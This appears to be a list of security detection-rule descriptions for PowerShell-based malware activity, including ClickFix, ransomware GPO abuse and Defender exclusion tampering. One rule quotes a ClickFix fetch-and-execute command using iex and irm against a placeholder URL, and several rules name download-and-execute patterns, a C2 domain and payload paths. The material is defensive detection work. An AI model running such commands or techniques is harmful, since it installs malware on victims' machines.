Detects a multi-stage infection chain associated with RedFlick, involving the delivery of VHDX files or PDF attachments. The rule correlates malicious activities such as SSH-based tool download (using PermitLocalCommand), PowerShell-based PDF decoding/extraction, PowerShell VHDX disk mounting, and silent MSI installation from remote URLs. It monitors for these activities within user-writable directories like Downloads or Temp.

This rule detects instances where the Faronics Deploy Agent process initiates the installation or download of ScreenConnect remote access software via PowerShell or the Windows Installer (msiexec.exe). This pattern is often indicative of authorized RMM deployment, but it is also a common tactic for adversaries to establish persistent remote access to endpoints.

This rule detects potential staging activity for ClickFix or Vidar malware campaigns. It identifies the creation of files or folders in directories mimicking Windows Diagnostics infrastructure (WDI) or known payload paths, correlated with the execution of suspicious PowerShell commands or archive-related utilities within a 30-minute window on the same device.

Detects lateral movement activities associated with The Gentlemen ransomware group. The rule monitors for the execution of PowerShell scripts named 'deploy_gpo.ps1' from the %TEMP% directory, PowerShell interactions with the NETLOGON share for malware distribution, creation of ScheduledTasks.xml via PowerShell (a common GPO manipulation technique), and the subsequent enforcement of policy changes using 'gpupdate /force' invoked by scripting engines.

Detects ClickFix-style social engineering attacks where a user is tricked into manually executing a PowerShell command. The command typically utilizes Invoke-RestMethod to fetch a remote payload and Invoke-Expression to execute it in memory, bypassing execution policies. This behavior is commonly associated with campaigns like SmartApeSG and DeepLoad.

Detects the execution of PowerShell scripts 'first.ps1' and 'main1.ps1', which are components of a known credential phishing toolset. This tool displays a fake Windows Update dialog to trick users into providing their credentials, which are then exfiltrated via SMB, DNS, or HTTP.

This rule detects the use of PowerShell cmdlets often associated with enumerating COM object registrations, specifically targeting 'InProcServer32' registry keys. Such enumeration is a common reconnaissance step for identifying 'dangling' COM objects—registrations that point to missing or non-existent files—which can be exploited to achieve DLL Hijacking or persistence via COM hijacking.

Detects the use of PowerShell to modify Microsoft Defender settings to add an exclusion path within the AppData directory. This behavior is often associated with malware or threat actors attempting to whitelist malicious payloads to evade security scanning.

Detects PowerShell execution that combines screen capturing capabilities (System.Drawing.Bitmap, Windows.Forms) with network communication (System.Net.WebClient) directed towards known C2 domains (medianewsonline.com) using specific exfiltration parameters (OKey, Who).

Detects signs of the ClosedQuorum implant by correlating at least two redundant persistence mechanisms (Registry Run keys, Scheduled Tasks, WMI execution) on the same host within a 10-minute window. The rule focuses on artifacts originating from suspicious user-writable paths or unsigned binaries, while excluding known legitimate installation paths.

Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

This rule detects the creation of potentially malicious script or executable files (.bat, .ps1, .exe, .vbs) within the Windows Startup folder. It triggers when these files are created by processes typically used for automation or development (dotnet, python) or processes utilizing specific semantic/download-related command lines. The rule further correlates this activity with the presence of PowerShell commands indicative of script downloading or code execution (e.g., IEX, DownloadString) by the same device within the same timeframe, suggesting persistent execution of potentially malicious code.

Detects suspicious PowerShell command lines that load a .dat file, decode its Base64 content, and execute it in-memory. This behavior is indicative of the 'TASK#STOMP' loader pattern, where malicious code is hidden in external files and invoked directly into memory to bypass traditional file-based security controls.

Detects the use of csc.exe (C# compiler) launched from PowerShell with hidden or bypass flags, as well as the subsequent execution of cvtres.exe. This activity is commonly associated with fileless malware techniques where helper classes or payloads are compiled and executed in-memory at runtime to evade detection.

Detects suspicious execution of command-line utilities (cmd.exe, powershell.exe, conhost.exe) directly from Windows Explorer (explorer.exe), which is often indicative of fileless malware execution, downloader activity, or 'ClickFix' style social engineering attacks.

This rule detects a suspicious sequence of events where a process related to Electron (a framework often used for cross-platform desktop applications) executes a hidden, obfuscated PowerShell command, followed by a subsequent PowerShell command to modify Microsoft Defender settings by adding an exclusion path for the 'AppData' directory within 10 minutes of the first process.
